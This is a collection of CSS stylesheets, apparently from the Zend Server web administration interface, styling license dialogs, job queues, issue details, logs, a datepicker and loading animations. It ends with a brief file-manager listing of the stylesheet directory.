    font-size: 16px;
    margin-bottom: 9px;
}

#license_properties-table {
    width: 340px;
}

#license_properties-table td {
    font-size: 14px;
    padding: 4px 10px 4px
}

#license_properties-messages {
    width: 220px;
}

.license_message_display-error ul {
    list-style-type: none;
    padding: 0;
}

#license_form_message {
    margin: 0;
    margin-bottom: 25px !important;
    clear: both;
}

#license_properties-messages .toast, #license_form_message.toast {
    position: inherit;
    box-shadow: 0 0 0;
    padding-right: 6px;
    margin-bottom: 2px;
    background-position: 7px 7px;
}

#license_details_dialogue-form label {
    display: block;
    height: 18px;
    clear: left;
    width: 100px;
    margin-top: 3px;
    margin-bottom: 10px;
}
#license_details_dialogue-form label.isConfirmLicebseRestartLabel {
    display: inline;
    height: auto;
    clear: initial;
    width: auto;
    margin-top: initial;
    margin-bottom: auto;
    padding: 0;
    font-weight: initial;
}

#license_details_dialogue-form input {
    width: 20em;
}

#license_details_dialogue-form > ul {
    margin-bottom: 25px;
    display: block;
    height: 55px;
}

#simple-modal-box ul.capabilities-list {
    margin: 2px 0 31px 0;
}

ul.capabilities-list li {
    list-style-type: disc;
    list-style-position: inside;
    padding-left: 5px;
}

ul.capabilities-list {
    padding: 0;
    margin-top: 0;
}

#license_complete_message {
    width: 422px;
    padding: 20px;
}

#license_complete_message h2 {
    margin-bottom: 10px;
    font-size: 23px;
    color: #14A800;
    text-align: center;
}

.license-details-form-desc {
    height: 45px;
}

#license_developer_license {
    margin-bottom: 50px;
}

#license_developer_license #license_developer_approve {
    display: inline-block;
    width: auto;
    margin-right: 10px;
    margin-top: 5px;
}

#license_details_dialogue-form label[for="license_developer_approve"] {
    display: inline-block;
    width: auto;
}

.open-eula-label {
	width: 600px;
	padding: 5px;
	border-top: 1px solid #DDD;
}

.open-eula-label-open {
	border: 1px solid #DDD;
}

.eula-text-wrapper {
	width: 600px;
	padding: 5px 0;
	overflow: hidden;
	box-sizing: border-box;
}

.eula-text-wrapper textarea {
	font-family: 'Open Sans', sans-serif, arial;
	font-size: 1em;
	line-height: 1.5em;
	width: calc(100% - 5px);
	height: 21em;
	border: none;
}


@CHARSET "UTF-8";

#jobqueue-general-details.general-details-top table tr td:first-child {
    width: 188px;
}

.code-section {
    line-height: 12px;
	font-family: 'Open Sans', sans-serif;
	margin-top: 35px;
}

.JobsTable .content {
    margin-top: -2px;
    border-top: 1px #bdc8cc solid;
    overflow: auto;
}

.JobsTable .content td {
    color: #122833;
    font-size: 12px;
	line-height:  initial; 
}

.JobsTable .content table td {
	padding: 4px;
}

.JobsTable .content li {
	font-size: 12px;
    font-weight: normal;
    color: #122833;
	line-height: 22px;
}

.JobsTable .content pre {
	font-size: 12px;
	margin-left: 44px;
}

 .code-section pre {
 	font-family: monospace;
 }

.JobsTable  .content a {
	float: right;
 	font-size: 12px;
 	padding-top: 8px;
}

.ui-grid-cell  .jobStatus.zgrid-status-ok,
.ui-grid-cell  .jobStatus.zgrid-status-disabled,
.ui-grid-cell  .jobStatus.zgrid-status-error,
.ui-grid-cell  .jobStatus.zgrid-status-progress {
    width: 130px;
}

.ui-grid-cell  .jobStatusSmall.zgrid-status-ok,
.ui-grid-cell  .jobStatusSmall.zgrid-status-disabled,
.ui-grid-cell  .jobStatusSmall.zgrid-status-error,
.ui-grid-cell  .jobStatusSmall.zgrid-status-progress {
    width: 20px;
    height: 20px;
    border-radius: 10px;
    min-width: initial;
}

.zgrid-status-job-in-progress-percent {
    background: #caeacc;
    border: 1px solid #DDD;
    color: #666;
	padding: 0 0;
	width: 146px!important;
}

.zgrid-status-progress-bar-text {
    height: 26px;
    position: absolute;
    z-index: 2;
    color: #FFFFFF;
    text-align: center;
}


@CHARSET "ISO-8859-1";

#scheduling-rule-form {
    margin-left: 20px;
}

#scheduling-rule-form tr,
#scheduling-rule-form td
{
    vertical-align: middle;
    padding: 1px;
    height: 35px;
    line-height: 26px;
}

#scheduling-rule-form .input-wrapper-part {
    display: inline-block;
}
#scheduling-rule-form .input-wrapper-part.input-wrapper-checkbox-part {
    margin-right: 10px;
    padding-left: 5px;
    padding-right: 5px;
}
#scheduling-rule-form .input-wrapper-part.input-wrapper-checkbox-part:hover {
    background: #FAFAFA;
}

#scheduling-rule-form label {
    line-height: inherit;
}
#scheduling-rule-form .input-wrapper-part .input-prefix {
    position: absolute;
    font-size: 10px;
    
    padding-left: 3px;
    padding-right: 3px;
    margin-top: 1px;
    margin-left: 1px;
    
    background: #EEE;
    height: 25px;
}
.input-prefix + input[type="text"] {
    padding-left: 60px;
}

[page="recurring-jobs"] .tableWithDesc {
    width: 500px;
}

[page="recurring-jobs"] .tableWithDesc tr td {
    font-size: 12px;
    font-weight: bold;
    padding-right: 10px;
    margin: 20px;
    white-space: nowrap;
    overflow: hidden;
    width: 110px;
}

#recurring-jqd-offline-message {
    width: 100%;
}

#recurring-jqd-offline-message div.toast {
    width: 437px;
    max-width: none;
    margin: 5px auto;
    display: block;
    z-index: auto;
}

.zgrid .tableDescRow .tableWithDesc .ruleInfoFieldName {
    color: #96a3a9;
    text-align: right;
    padding-right: 10px;
}

.schedulingRuleFormTitle {
    border-bottom: 1px solid #DDD;
    width: 100%;
    height: 30px;
}

.schedulingRuleFormTitle.subtitle {
    border-top: 1px solid #DDD;
    border-bottom: 0;
    padding-top: 12px;
    width: 100%;
    height: 12px;
}

.schedulingRuleDetail {
    width: 100px;
    border: 0px;
}

.scheduleEveryMargin10 {
    margin: 10px;
}

.scheduleSslValidation input {
    vertical-align: -2px;
}

.scheduleSslValidation label.experimental {
    padding: 10px 0 14px 27px;
    background: transparent url(/ZendServer/images/icons/message-icon-off.png) no-repeat left;
    margin-left: 5px;
    vertical-align: -1px;
}

.scheduleWeekly input[type="checkbox"] {
    margin-right: 1px;
    margin-left: 7px;
}

[page="recurring-jobs"] .settings-form-wrapper th {
    font-weight: normal;
}

.ruleInfoFieldName {
    color: #96a3a9;
    text-align: right;
    padding-right: 10px;
}

.external-link-suffix {
    display: inline-block;
    height: 26px;
    line-height: 26px;
}
nav#new-tabs-container {
    float: none;
    height: auto;
    position: relative;
    top: 1px;
    z-index: 10;
}

nav#new-tabs-container ul li.active {
    position: relative;
    top: 1px;
}

.tab-section {
    border: 1px solid #DDD;
}

.settings-form-wrapper .settings-wrapper {
    padding-left: 40px;
}

.settings-form-wrapper input[type="checkbox"].zform-checkbox-for-optional.zform-checkbox-for-optional-with-label {
    margin-top: 0;
}
@CHARSET "UTF-8";
/*
html {
	overflow: hidden;
}
*/
#issue-details-events-list {
    width: 250px;
    display:inline-block;
    height: calc(100% - 46px);
    margin-top: 15px;
}

#issue-details-content-wrapper {
    width: calc(100% - 255px);
    display:inline-block;
    height: 100%;
    position: relative;
    vertical-align: top;
    overflow: hidden;
}

#issue-details-content-wrapper .mui-leaf {
    line-height: 22px;
    white-space: nowrap;
}

#issue-details-content-wrapper .mui-leaf-image {
    background: url("/ZendServer/images/leaf.gif") no-repeat scroll 0 0 transparent
}

#issue-details-content>div {
	position: relative;
	height: calc(100% - 15px);
}
#issue-details-content {
    width: 100%;
    overflow: auto;
    border-right: 1px solid #DDD;
    height: calc(100% - 81px);
    vertical-align: top;
}

#issue-details-content:not(.new) > div {
    display: none;
    overflow: auto;
}

#issue-details-content .errorMsg {
    display: block;
    padding: 10px;
}

#backtrace-showfile {
    padding: 3px;
    border-top: 1px solid #EDEDED;
    height: 70%;
}

#mui-source-file td {
    padding: 0 5px;
}

#mui-source-file code {
    font-family: monospace;
    font-size: 11px;
    line-height: 18px;
}


.event-bottom-actions {
    position: absolute;
    bottom: 0;
    right: -2px;
    background: #EDEDED;
    color: #000;
    left: 0;
}
.event-bottom-actions:not(.new) {
    left: 460px;
	position:fixed;
}
#event-studio-actions-bar button:first-child {
    margin-left: 10px;
}

.jobqueue_event_properties li strong {
    margin-right: 8px;
}

#backtrace-container {
    overflow: auto;
    height: 30%;
}

#backtrace-backtrace {
    color: #808080;
}

.backtrace-panels {
    padding: 3px;
    margin: 0;
}

.debugSettingsTipWrapper label {
    font-weight: normal;
    margin-left: 8px;
}

.debugSettingsTipWrapper button {
    float: right;
}

.debugSettingsTipWrapper {
    width: 290px;
}

.debugSettingsTipWrapper table {
    margin-bottom: 0px;
}

.debugSettingsTipWrapper table td {
    padding: 5px 10px;
}
/*
.bar {
	background: none repeat scroll 0 0 #E2EFF5;
	color: #3E5C67;
	font-size: 13px;
	font-weight: normal;
	width: 290px;
	text-align: right;
}

.bar span {
	padding-right: 5px;
	cursor: pointer;
}*/

.debugSettingsTipWrapper {
    background-color: #fff;
    border: 1px solid #a3bcc7;
    word-wrap: break-word;
    /* padding: 5px 15px; */
    color: #000;
    padding: 0px;
    font-weight: bold;
    font-size: 11px;
    -moz-border-radius: 3px;
    -webkit-border-radius: 3px;
    border-radius: 3px;
    margin-top: 0px !important;
}

div.code {
    font-family: Courier New
}

#event-details-backtrace {
    height: 100%;
}

.issue-details .count-icon.warning {
    background: #FCB320;
}

.issue-details .count-icon.critical {
    background: #ED4E29;
}

.issue-details .count-icon.info {
    background: #51aac2;
}
.issue-details .json-block pre{
	margin:0;
}
.issue-details .json-block{
    background: #f8f8f8;
    display: inline-block;
    padding: 10px;
    border-radius: 3px;
    margin: 5px 0;
    position: relative;
    max-width: 95%;
    padding-right: 40px;
}
.issue-details .json-block a.copy-to-clipboard {
    color: gray;
    border: 1px solid #e0e0e0;
    border-radius: 2px;
    padding: 2px 6px;
    position: absolute;
    right: 5px;
    top: 5px;
    opacity:0.3;
    transition: opacity 0.3s;
    background: white;
}
.issue-details .json-block:hover a.copy-to-clipboard {
	opacity:1;
}
#action-buttons-bar {
    margin-top: 14px;
}

.action-text-buttons {
    border-bottom: 1px solid #E3E3E3;
}

.count-icon {
    background: #808F96;
}
#issue-details-wrapper {
    height: calc(100% - 135px);
}

.issue-details {
    height: calc(100% - 45px);
}

@CHARSET "UTF-8";

[page="history"] #zend-dev-bar-iframe iframe {
  /*right: 0px !important;
  left: 220px !important;*/
}

div#zend-dev-bar-iframe {
    right: 20px;
    left: 210px;
    width: auto;
}

@-moz-keyframes bounce {
    0%, 20%, 50%, 80%, 100% {
        -moz-transform: translateY(0);
        transform: translateY(0);
    }

    40% {
        -moz-transform: translateY(-30px);
        transform: translateY(-30px);
    }

    60% {
        -moz-transform: translateY(-15px);
        transform: translateY(-15px);
    }
}

@-webkit-keyframes bounce {
    0%, 20%, 50%, 80%, 100% {
        -webkit-transform: translateY(0);
        transform: translateY(0);
    }

    40% {
        -webkit-transform: translateY(-30px);
        transform: translateY(-30px);
    }

    60% {
        -webkit-transform: translateY(-15px);
        transform: translateY(-15px);
    }
}

@keyframes bounce {
    0%, 20%, 50%, 80%, 100% {
        -moz-transform: translateY(0);
        -ms-transform: translateY(0);
        -webkit-transform: translateY(0);
        transform: translateY(0);
    }

    40% {
        -moz-transform: translateY(-30px);
        -ms-transform: translateY(-30px);
        -webkit-transform: translateY(-30px);
        transform: translateY(-30px);
    }

    60% {
        -moz-transform: translateY(-15px);
        -ms-transform: translateY(-15px);
        -webkit-transform: translateY(-15px);
        transform: translateY(-15px);
    }
}

[page="history"] .arrow {
    position: fixed;
    bottom: 35px;
    left: 50%;
    margin-left: -20px;
    width: 35px;
    height: 40px;
    -moz-animation: bounce 2s infinite;
    webkit-animation: bounce 2s infinite;
    animation: bounce 2s infinite;
    visibility: hidden;
	z-index: 1;
}


[page="history"] i.glyphicons.glyphicons-arrow-down {
	color: #2774A0;
	font-size: 26px;
}

[page="history"] .zgrid .even.active, .zgrid .odd.active {
	background: #B2CDD5; /*#98B1C4;*/
}

[page="history"] .zgrid .odd:hover, .zgrid .even:hover {
	background: #EFF3F6;
}

.zgrid .even:hover i.glyphicons.glyphicons-new-window-alt {
	opacity: 1;
}
.zgrid .odd:hover i.glyphicons.glyphicons-new-window-alt {
	opacity: 1;
}
.zgrid .odd.active i.glyphicons.glyphicons-new-window-alt {
	opacity: 1;
}
.zgrid .even.active i.glyphicons.glyphicons-new-window-alt {
	opacity: 1;
}

[page="history"] i.glyphicons.glyphicons-new-window-alt:hover {
    color: #2774A0;
    font-size: 20px;
    cursor: pointer;
}

[page="history"] .zgrid .even.active i.glyphicons.glyphicons-new-window-alt, 
[page="history"] .zgrid .odd.active i.glyphicons.glyphicons-new-window-alt {
    color:  #2774A0;
    font-size: 20px;
    cursor: pointer;
}

[page="history"] i.glyphicons.glyphicons-new-window-alt {
	opacity: 0.5;
    color: #48A9C5;
    font-size: 20px;
    cursor: pointer;
}


.zdb-badge-normal {
    background: green;
    height: 11px;
    width: 10px;
    background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAALCAYAAABGbhwYAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAACGSURBVHjaYmRoYBBgYGDoA2JXIP4PxLuAuOR//f8PQJqBsZGRC0wDFc4F0kkMqOAJEE+CsvOBeA8LkOBlwAQyQNyFxOdiYiAS0F7hCajP0cF/FIXAILEEUp5A/BBJ+AEoBDCsBireCaTUgNgEiI1BbKDYURZs7gFK/AJSZ9HdeJgYzwAEGACa8SDKoVyMcgAAAABJRU5ErkJggg==);
    background-color: transparent;
    color: #FFF;
    margin-top: 10px;
}

.zdb-badge-warning {
    background: orange;
    color: #FFF;
    background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAALCAYAAABGbhwYAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAACHSURBVHjaYvy/lEGAgYGhD4hdgfg/EO8C4hKGqP8fGEBgGSMXiGIEKpwLpJMYUMETIJ4EZecD8R4WIMHLgAlkgLgLic/FxEAkoL3CE1Cfo4P/qAqj/lsCSU8gfogk+gAUAiwYeqP+7wSGnRqQpQs1/TJQ7DcLVgdF/f8FJM+iu/EwMZ4BCDAAzDYf04ACX34AAAAASUVORK5CYII=);
    background-color: transparent;
    height: 11px;
    width: 10px;
    margin-top: 10px;
}

.zdb-badge-critical {
    background: #C11;
    color: #FFF;
    background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAALCAYAAABGbhwYAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAACISURBVHjaYjwjKCjAwMDQB8SuQPwfiHcBcYnxu3cfgDTDWSEhLhDNCFQ4F0gnMaCCJ0A8CcrOB+I9LECClwETyABxFxKfi4mBSEB7hSegPkcH/1EUAoPEEkh5AvFDJOEHoBBgQdcKVLwTGHZqQKYu1PTLQLHfLNjcA5T4BQprdDceJsYzAAEGAE2FIomEBIGvAAAAAElFTkSuQmCC);
    background-color: transparent;
    height: 11px;
    width: 10px;
    margin-top: 10px;
}

.zgrid .zdb-badge-title {
    width: 10px !important;
    height: 11px;
    vertical-align: middle;
    background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAALCAYAAABGbhwYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyBpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBXaW5kb3dzIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOkE3RkIyNjg1RkFDQTExRTNBQjJEREVGMEY3Rjg3NEM4IiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOkE3RkIyNjg2RkFDQTExRTNBQjJEREVGMEY3Rjg3NEM4Ij4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6QTdGQjI2ODNGQUNBMTFFM0FCMkRERUYwRjdGODc0QzgiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6QTdGQjI2ODRGQUNBMTFFM0FCMkRERUYwRjdGODc0QzgiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz6ezqTrAAAAh0lEQVR42mJkyJ8rwMDA0AfErkD8H4h3AXHJ/wlJH4A0A2PBPC4wDVQ4F0gnMaCCJ0A8CcrOB+I9LECClwETyABxFxKfi4mBSEB7hSegPkcH/1EUAoPEEkh5AvFDJOEHoBBgwdA6IWknMOzUgExdqOmXgWK/WbC5ByjxC0idRXfjYWI8AxBgAI9RImtLf9PJAAAAAElFTkSuQmCC);
    background-repeat: no-repeat;
    background-position: 50%;
}

.grid-instruction {
    position: absolute;
    margin-top: 10px;
    margin-left: 40%;
    text-align: center;
}

.grid-instruction-text {
    background: #FFF7C9;
    color: #425963;
    padding: 2px 10px;
    border-radius: 5px;
    line-height: 27px;
    margin: 0 auto;
    cursor: help;
}

#refreshZrayList {
    float: right;
}

span.grid-action-bar-text {
    margin-right: 10px;
    float: right;
    line-height: 27px;
    color: #333;
}
#zrayTable_tableBody tr.active .zgrid_btn_off {
    opacity: 1;
}
@CHARSET "UTF-8";

.box-wrapper {
    margin: 20px;
}

.box-header {
    background-color: #084f6d;
    height: 30px;
    padding: 0 10px 0 10px;
}

.box-header h1 {
    color: white;
    line-height: 30px;
}

.box-body {
    border: 1px solid #cedce2;
    padding: 20px 10px 20px 40px;
    background: url("/ZendServer/images/apps-status-warning.png") no-repeat scroll 13px 18px;
}

ul.vertical-list span {
    display: block;
    margin-bottom: 10px;
}

ul.vertical-list li {
    margin-bottom: 7px;
}

ul.vertical-list {
    list-style-type: disc;
    list-style-position: inside;
    padding: 0;
}

.more-information .display-box {
    border: 1px solid #cedce2;
    overflow: scroll;
    padding: 12px;
    margin-top: 13px;
}

.more-information-header {
    display: inline;
    background: url("/ZendServer/images/arrow-opened.gif") no-repeat scroll right 2px;
    cursor: pointer;
    color: #084f6d;
    padding-right: 17px;
}

@CHARSET "UTF-8";

.eventDescContent table{
   margin: 0;
}

.tableDescContent .descLeft,
.tableDescContent .descRight {
	padding: 5px;
}

.eventDescContent td {
	font-size: 12px;
    line-height: 22px;
    padding: 0px;
    color: #122833;
}


@CHARSET "UTF-8";

#stats-actions {
    position: absolute;
    z-index: 10;
    left: 7px;
    top: 0;
}

.map-chart #stats-actions {
    left: auto;
    right: 0;
}

.highcharts-contextmenu>div>div:nth-child(1),
.highcharts-contextmenu>div>hr {
    display: none;
}
/* LOGS PAGE STYLES */
#logs_container {
    position: relative;
}

#logs_toolbar {
    overflow: visible;
    padding-bottom: 5px;
    border-bottom: 2px solid #48A9C5;
}

#logs_toolbar .logs_toolbar_group {
    display: inline-block;
    vertical-align: top;
}

.align-right {
    float: right;
}
.auto-refresh-checkbox{
    
}
#logs_toolbar .logs_toolbar_group .searchBox {
    display: inline-block;
    margin-right: 10px;
}

#logs_toolbar .logs_toolbar_group input[type="checkbox"] {
    vertical-align: middle;
}

#logs_toolbar .logs_toolbar_group .logs_toolbar_group_item {
    padding: 0 10px;
    border-left: 1px solid #AAA;
}
#logs_toolbar .logs_toolbar_group .logs_toolbar_group_item select,
#logs_toolbar .logs_toolbar_group .logs_toolbar_group_item input[type="text"] {
    background: #FFF;
}
#logs_toolbar .logs_toolbar_group .logs_toolbar_group_item:first-child {
    border-left: none;
}

#logs_toolbar .logs_toolbar_group .logs_toolbar_group_item #auto-refresh-interval {
    width: 50px;
}
.refresh-box{
    color: black;
}
.refresh-box_button_warp{
    padding: 0 10px;
    border-right: 1px solid #AAA;
    margin-right: 10px;
}
.code_tracing_for_events_warning{
    min-height: 19px;
}
.refresh-box #auto-refresh-interval{
     width: 50px;
     margin-left: 10px;
}
.refresh-box [type="checkbox"]{
vertical-align: middle;
}
#logs_toolbar .logs_toolbar_group .log_file_info {
    color: #AAAAAA;
    font-size: 12px;
    line-height: 14px;
    padding: 0 10px;
}

#logs_container #logs_file_content_refresh_icon {
    position: absolute;
    top: 50px;
    right: 0;
    margin: 0;
    padding: 5px 15px;
    color: #FFF;
    background: #48A9C5;
}

#logs_container #logs_file_content {
    font-family: consolas, monospace;
    background: #EEE;
    padding: 10px;
    box-sizing: border-box;
    overflow: auto;
}

/* "first-child" didn't work :( */
#logs_toolbar .logs_toolbar_group .log_file_info:first-child {
    margin-left: 10px;
}


.datePicker{
	cursor:pointer;
}
.datepicker_vista {
	position: absolute;
	font-size: 10px;
	font-family: Tahoma, sans-serif;
	color: #000;
	line-height: normal;
	width: 172px;
	height: 135px;
	padding: 14px;
	background: url(/ZendServer/js/datepicker/datepicker_vista/frame.png) no-repeat;
}

/* header
********************************************************/
.datepicker_vista .header {
	position: relative;
	height: 15px;
	margin-bottom: 5px;
	padding-top: 1px;
}

.datepicker_vista .header .title {
	text-align: center;
	margin: 0 18px 0 18px;
}

.datepicker_vista .header .titleText {
}

.datepicker_vista .header .previous,
.datepicker_vista .header .next,
.datepicker_vista .header .closeButton {
	position: absolute;
	cursor: pointer;
	text-indent: -40px;
	overflow: hidden;
	width: 12px;
	height: 12px;
	top: 2px;
	background-image: url(buttons.png);
	background-position: left top;
	background-repeat: no-repeat;
}

.datepicker_vista .header .previous {
	left: 4px;
}
.datepicker_vista .header .previous:hover {
	background-position: left bottom;
}
.datepicker_vista .header .next {
	right: 4px;
	background-position: -13px top;
}
.datepicker_vista .header .next:hover {
	background-position: -13px bottom;
}
.datepicker_vista .header .closeButton {
	display: none;
	right: 0px;
	top: 0px;
	background-position: right top;
}
.datepicker_vista .header .closeButton:hover {
	background-position: right bottom;
}

/* body
********************************************************/
.datepicker_vista .body {
	position: relative;
	top: 0px;
	left: 2px;
	width: 168px;
	height: 112px;
	overflow: hidden;
}

/* time
********************************************************/
.datepicker_vista .time {
	position: relative;
	width: 100%;
	height: 100%;
}

.datepicker_vista .time .hour,
.datepicker_vista .time .separator,
.datepicker_vista .time .minutes {
	border: 1px solid #ccc;
	background: #fff;
	width: 50px;
	height: 30px;
	font-size: 32px;
	position: absolute;
	top: 10px;
	text-align: center;
	padding: 2px;
}

.datepicker_vista .time .hour {
	left: 15px;
}
.datepicker_vista .time .separator {
	background: transparent;
	border: 0px;
	width: 10px;
	left: 76px;
}

.datepicker_vista .time .minutes {
	left: 95px;
}
.datepicker_vista .time .ok {
	position: absolute;
	top: 65px;
	width: 136px;
	left: 15px;
	font-size: 20px;
}

/* days-grid
********************************************************/
.datepicker_vista .days .day {
	float: left;
	text-align: center;
	overflow: hidden;
	width: 23px;
	height: 15px;
	margin: 0 1px 1px 0;
}
.datepicker_vista .days .titles {
	height: 15px;
	border-bottom: 1px solid #e0e0e0;
	margin-bottom: 1px;
}
.datepicker_vista .days .day0 {
	margin-right: 0;
}

.datepicker_vista .days .week5 .day {
	margin-bottom: 0;
}

/* days-colors
********************************************************/
.datepicker_vista .days .week .day {
	cursor: pointer;
}
.datepicker_vista .days .week .day:hover {
	background: url(days.png) left top no-repeat;
	color: #0084AA;
}

.datepicker_vista .days .otherMonth {
	color: #aaa;
}

.datepicker_vista .days .selected {
	background: url(days.png) left bottom no-repeat;
	color: #316879;
}

/* months-grid
********************************************************/
.datepicker_vista .months .month {
	float: left;
	cursor: pointer;
	text-align: center;
	padding-top: 6px;
	width: 55px;
	overflow: hidden;
	height: 21px;
	margin: 0 1px 1px 0;
}

.datepicker_vista .months .month3,
.datepicker_vista .months .month6,
.datepicker_vista .months .month9,
.datepicker_vista .months .month12 {
	margin-right: 0;
}

.datepicker_vista .months .month10,
.datepicker_vista .months .month11,
.datepicker_vista .months .month12 {
	margin-bottom: 0;
}

/* months-colors
********************************************************/
.datepicker_vista .months .month:hover {
	background: url(months.png) left top no-repeat;
	color: #0084AA;
}

.datepicker_vista .months .selected {
	background: url(months.png) left bottom no-repeat;
	color: #316879;
}

/* years-grid
********************************************************/
.datepicker_vista .years .year {
	float: left;
	cursor: pointer;
	text-align: center;
	padding-top: 6px;
	width: 32px;
	overflow: hidden;
	height: 21px;
	margin: 0 1px 1px 0;
}

.datepicker_vista .years .year4,
.datepicker_vista .years .year9,
.datepicker_vista .years .year14,
.datepicker_vista .years .year19 {
	margin-right: 0;
}

.datepicker_vista .years .year15,
.datepicker_vista .years .year16,
.datepicker_vista .years .year17,
.datepicker_vista .years .year18,
.datepicker_vista .years .year19 {
	margin-bottom: 0;
}

/* years-colors
********************************************************/
.datepicker_vista .years .year:hover {
	background: url(years.png) left top no-repeat;
	color: #0084AA;
}

.datepicker_vista .years .selected {
	background: url(years.png) left bottom no-repeat;
	color: #316879;
}

/* global
********************************************************/
.datepicker_vista .unavailable {
	background: none !important;
	color: #fbb !important;
	cursor: default !important;
}

.datepicker_vista table {
	border-spacing: 0;
}

.datepicker_vista th,
.datepicker_vista td {
	padding: 0;
}

.angucomplete-holder {
    position: relative;
}

.angucomplete-dropdown {
    border-color: #ececec;
    border-width: 1px;
    border-style: solid;
    border-radius: 2px;
    width: 250px;
    padding: 6px;
    cursor: pointer;
    z-index: 9999;
    position: absolute;
    /*top: 32px;
    left: 0px;
    */
    margin-top: -6px;
    background-color: #ffffff;
}

.angucomplete-searching {
    color: #acacac;
    font-size: 14px;
}

.angucomplete-description {
    font-size: 14px;
}

.angucomplete-row {
    padding: 5px;
    color: #000000;
    margin-bottom: 4px;
    clear: both;
}

.angucomplete-selected-row {
    background-color: lightblue;
    color: #ffffff;
}

.angucomplete-image-holder {
    padding-top: 2px;
    float: left;
    margin-right: 10px;
    margin-left: 5px;
}

.angucomplete-image {
    height: 34px;
    width: 34px;
    border-radius: 50%;
    border-color: #ececec;
    border-style: solid;
    border-width: 1px;
}

.angucomplete-image-default {
    /* Add your own default image here
     background-image: url('/assets/default.png');
    */
    background-position: center;
    background-size: contain;
    height: 34px;
    width: 34px;
}

#gallery .photo {
    display: inline-block;
    padding: 5px;
    margin: 10px;
    border: 1px solid #ececec;
    text-align: center;
}

#gallery .photo img {
    width: 100px;
    height: 100px;
    display: block;
}

.file-readonly {
    background: #fff !important;
}

.plugin-logo {
    max-width: 128px;
    max-height: 128px;
    margin-bottom: 15px;
}
/*.plugin-cover {
	max-width:256px;max-height:128px;margin-bottom:15px;
}*/
.btn-file {
    position: relative;
    overflow: hidden;
}

.btn-file input[type=file] {
    position: absolute;
    top: 0;
    right: 0;
    min-width: 100%;
    min-height: 100%;
    font-size: 100px;
    text-align: right;
    filter: alpha(opacity=0);
    opacity: 0;
    outline: none;
    background: white;
    cursor: inherit;
    display: block;
}

.file-upload-box {
    width: 350px;
}

[ng-click]:not([disabled]) {
    cursor: pointer;
}

a[disabled] {
    cursor: default;
}

.topbar .container {
    padding: 0;
}

#loading-bar-spinner {
    display: none;
}

#screen-loading {
    position: fixed;
    top: 0;
    bottom: 0;
    left: 0;
    right: 0;
    z-index: 10000;
    background: white;
}

#screen-loading .loading-wrapper {
    display: inline-block;
    text-align: center;
    font-weight: 600;
    font-size: 15px;
    top: 50%;
    position: absolute;
    left: 50%;
    margin-top: -57px;
    margin-left: -75px;
}

#screen-loading img {
    animation: smallToBig 3s ease-in-out;
    width: 200px;
    margin: 15px;
    font-size: 150px;
    color: #e00;
    -webkit-backface-visibility: hidden;
}

.cs-loader {
    position: absolute;
    top: 0;
    left: 0;
    height: 100%;
    width: 100%;
    z-index: -1;
}

.cs-loader-inner {
    transform: translateY(-50%);
    top: 60px;
    position: absolute;
    text-align: center;
    left: 58px;
}

.cs-loader-inner label {
    opacity: 0;
    display: inline-block;
    margin-right: 10px;
    background: rgba(39, 116, 160, 0.5);
    width: 8px;
    height: 8px;
    border-radius: 50%;
}

@keyframes lol {
    0% {
        opacity: 0;
        transform: translateX(-300px);
    }

    33% {
        opacity: 1;
        transform: translateX(0px);
    }

    66% {
        opacity: 1;
        transform: translateX(0px);
    }

    100% {
        opacity: 0;
        transform: translateX(300px);
    }
}

@keyframes smallToBig {
    0% {
        opacity: 0;
        transform: scale(0.9);
    }

    100% {
        opacity: 1;
        transform: scale(1);
    }
}

.cs-loader-inner label:nth-child(6) {
    animation: lol 3s infinite ease-in-out;
}

.cs-loader-inner label:nth-child(5) {
    animation: lol 3s 100ms infinite ease-in-out;
}

.cs-loader-inner label:nth-child(4) {
    animation: lol 3s 200ms infinite ease-in-out;
}

.cs-loader-inner label:nth-child(3) {
    animation: lol 3s 300ms infinite ease-in-out;
}

.cs-loader-inner label:nth-child(2) {
    animation: lol 3s 400ms infinite ease-in-out;
}

.cs-loader-inner label:nth-child(1) {
    animation: lol 3s 500ms infinite ease-in-out;
}

Filemanager

Name Type Size Permission Actions
min Folder 0755
vendor Folder 0755
app.css File 450.3 KB 0644
ngDialog-theme-zend.css File 8.81 KB 0644
overrides.css File 2.95 KB 0644
